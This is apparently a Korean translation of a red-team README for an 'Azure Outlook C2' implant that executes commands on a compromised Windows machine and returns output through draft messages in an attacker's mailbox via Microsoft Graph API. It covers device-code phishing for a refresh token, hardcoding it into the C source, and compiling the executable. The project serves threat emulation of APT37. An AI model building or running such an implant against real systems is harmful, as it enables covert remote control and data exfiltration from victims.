
Azure Outlook Command & Control (C2) - 손상된 Windows 장치를 Outlook 사서함에서 원격으로 제어합니다. 북한 APT InkySquid / ScarCruft / APT37을 위한 위협 에뮬레이션 도구. TTP: C2 작전에 Microsoft Graph API 사용.
Azure Outlook 명령 및 제어 - Microsoft Graph API를 사용하여 C2 통신 및 데이터 유출을 수행합니다.
Outlook 사서함에서 손상된 Windows 장치를 원격으로 제어하세요.
Elastic Security Labs는 SIESTAGRAPH를 사용하는 실제 침입 활동을 발견했습니다. SIESTAGRAPH는 Outlook과 OneDrive를 사용하여 명령 및 제어를 위해 Microsoft의 GraphAPI와 상호작용합니다. 아래에서 Azure Outlook C2 통신에 대한 멋진 악성코드 분석 블로그를 확인하세요.


비슷한 프로젝트에 대한 정보, APT/랜섬웨어 그룹이 실제로 사용하는 이 TTP에 대한 CTI 정보, 방어 조언, Azure C2 위협 에뮬레이션에 관심이 있는 레드팀러를 위한 권장 사항, 또는 이 블로그/README에 추가하면 좋을 다른 정보가 있으시면 저에게 연락하거나 Pull Request를 보내주세요. 감사합니다!
이 프로젝트는 명령 및 제어(C2) 역할을 하는 공격자 제어 Azure Outlook 사서함으로 비콘을 보내는 임플란트로 구성되어 있으며, 손상된 장치를 원격으로 제어합니다. 공격자의 C2 사서함에 대한 Azure 새로 고침 토큰은 컴파일 중에 임플란트에 하드코딩됩니다. Windows 장치에서 실행되면 임플란트는 Microsoft Graph API를 통해 공격자의 임시 보관함 사서함에 접근합니다. 임플란트는 공격자의 임시 보관함 사서함에서 명령 지침을 읽고, 로컬 손상된 Windows 장치에서 명령을 실행한 후, 새 임시 보관함 메시지를 생성하여 명령 출력을 공격자에게 반환합니다. 임플란트는 임플란트 호스트 프로세스가 종료될 때까지 공격자의 사서함에서 원격으로 제어되는 이 동작을 반복합니다.
저는 약 6개월 전 Trustwave의 SpiderLabs Red Team에서 레드팀 활동을 시작했습니다. 한 엔게이지먼트에서 전설적인 Stephan Borosh (rvrsh3ll|@424f424f)와 함께 일할 영광을 누렸습니다. Steve와 Matt Kingstone은 Azure Domain Fronting에 대해 모두 가르쳐 주었고, C2 트래픽이 ajax.microsoft.com과 같은 합법적인 도메인을 사용하여 HTTPS를 통해 유출될 수 있다는 사실에 충격을 받았습니다. 심지어 Microsoft의 TLS 인증서를 사용합니다! 불행히도 저는 Azure에서 Domain Fronting이 죽던 시기에 레드팀을 시작했습니다. Azure에서 Domain Fronting은 사라졌지만, Azure로 할 수 있는 멋진 레드팀 기술은 여전히 많았습니다.
Steve는 저에게 Azure Device Code Phishing을 소개했습니다. 그동안 Azure와 Microsoft Graph API를 레드팀에 활용하는 방법을 깊이 파고들었습니다. 우리는 훌륭한 Dr. Nestori Syynimaa (@DrAzureAD)의 연구를 바탕으로 TokenTactics 도구를 만들었고, 관심이 있으시면 The Art of the Device Code Phish 블로그도 작성했습니다.
TokenTactics를 만들고 MS Graph API를 실험하는 동안, Microsoft Graph API를 C2 채널로 사용할 수 있다는 것을 발견했습니다. MS Graph API를 C2 채널로 사용하는 방법은 매우 다양하며, 저만 이 사실을 발견한 것이 아닙니다(처음도 아닙니다). HellsGate 기술의 창시자이자 발행인인 @smelly__vx가 만든 VX-Underground는 지난달 북한 고급 지속 위협(APT) 그룹 "InkySquid"(일명 ScarCruft 및 APT37)가 Microsoft Graph API를 C2 작전에 사용한다는 정보를 공개했습니다. 이 프로젝트의 티저를 Twitter와 LinkedIn에 게시한 후, 여러 DFIR 전문가들은 이 Microsoft Graph API를 C2 작전에 사용하는 기술이 수개월 전부터 실제로 랜섬웨어 그룹에 의해 활발히 사용되고 있다고 언급했습니다.
레드팀 엔게이지먼트 동안 C2 채널로 MS Graph API를 사용하여 Cobalt Strike를 작동시키려고 시도했지만 실패했습니다. 하지만 이것은 여전히 미래의 목표입니다. Cobalt Strike에서 이 작업을 수행할 때 직면하는 문제는 MS Graph API가 통신에 두 개의 토큰을 사용한다는 것입니다. 첫 번째 토큰은 최대 90일 동안 유효한 새로 고침 토큰입니다. 두 번째 토큰인 액세스 토큰은 약 1시간 동안 지속되는 임시 토큰입니다. MS Graph API와의 직접 통신은 액세스 토큰으로 인증하여 수행됩니다. 액세스 토큰이 만료되면 새로 고침 토큰을 사용하여 새 액세스 토큰을 얻을 수 있습니다. 저는 아직 레드팀 및 Cobalt Strike 개발이 처음이기 때문에, Cobalt Strike Malleable C2 프로필을 사용하여 지속적으로 새 액세스 토큰을 얻고 이 변경되는 액세스 토큰을 HTTPS 비콘 요청의 Authorization 헤더에 보내는 방법을 알아낼 수 없었습니다. Twitter에 티저를 공개한 후, Joe Vest, Alfie Champion 및 커뮤니티의 다른 락스타 분들이 Cobalt Strike에서 이 작업을 수행하는 방법에 대한 훌륭한 방향을 제시해 주었습니다! 조만간 이 프로젝트의 Cobalt Strike 후속편이 나오길 바랍니다 ;)

graph.microsoft.com에 대한 HTTPS TCP 통신을 통해 수행됩니다.WinInet 동적 링크 라이브러리를 사용합니다.cmd, sleep, exit
cmd: 메타 명령 뒤에 오는 문자열을 가져와 하위 프로세스를 생성하여 실행합니다.sleep: 메타 명령 뒤에 오는 단어를 가져와 임플란트의 절전 간격을 제공된 값(밀리초)으로 변경합니다.exit: 호스트 프로세스를 종료/중단합니다.cmd인 경우 임플란트는 명령을 실행할 하위 프로세스를 생성하고, 하위 프로세스는 표준 출력을 파이프에 쓰고, 명령 실행 후 종료되며, 호스트 임플란트 프로세스는 파이프를 통해 하위 프로세스의 출력을 읽습니다.PS C:\Users\boku\Desktop\TokenTactics-main> Import-Module .\TokenTactics.psd1
PS C:\Users\boku\Desktop\TokenTactics-main> Get-TenantID -domain theharvester.world
1d5551a0-f4f2-4101-9c3b-394247ec7e08
azureOutlookC2.c 파일 내 char tenantId[] 변수에 테넌트 ID를 추가합니다.# Import the TokenTactics module into the PowerShell session
PS C:\Users\boku> cd .\TokenTactics
PS C:\Users\boku\TokenTactics> Import-Module .\TokenTactics.psd1
# Start a Device Code phish request to get a 'user_code'
PS C:\Users\boku\> Get-AzureToken -Client Graph
user_code : ERDVDCNHH
user_code를 입력하고 C2 사서함 사용자로 로그인합니다.azureOutlookC2.c 파일 내 char refreshToken[] 변수에 새로 고침 토큰을 추가합니다.void main() {
// Variables
char refreshToken[] = "0.AXwAoFFVHfL0AUGcOzlCR-x-CNYOWdOzUgJBrv-q0ikqsBx8ACA.AgABAAAAAA...
// ^Put your refresh token here and compile
azureOutlookC2.c를 컴파일합니다.# Compile with x64 MinGW:
bobby.cooke$ cat compile.sh
x86_64-w64-mingw32-gcc -m64 -mwindows -Os azureOutlookC2.c -o azureOutlookC2.exe -lwininet
bobby.cooke$ bash compile.sh
azureOutlookC2.exe PE 파일을 실행합니다.outlook.office.com에 로그인한 후 사서함에서 임플란트를 실행 중인 Windows 장치를 제어합니다.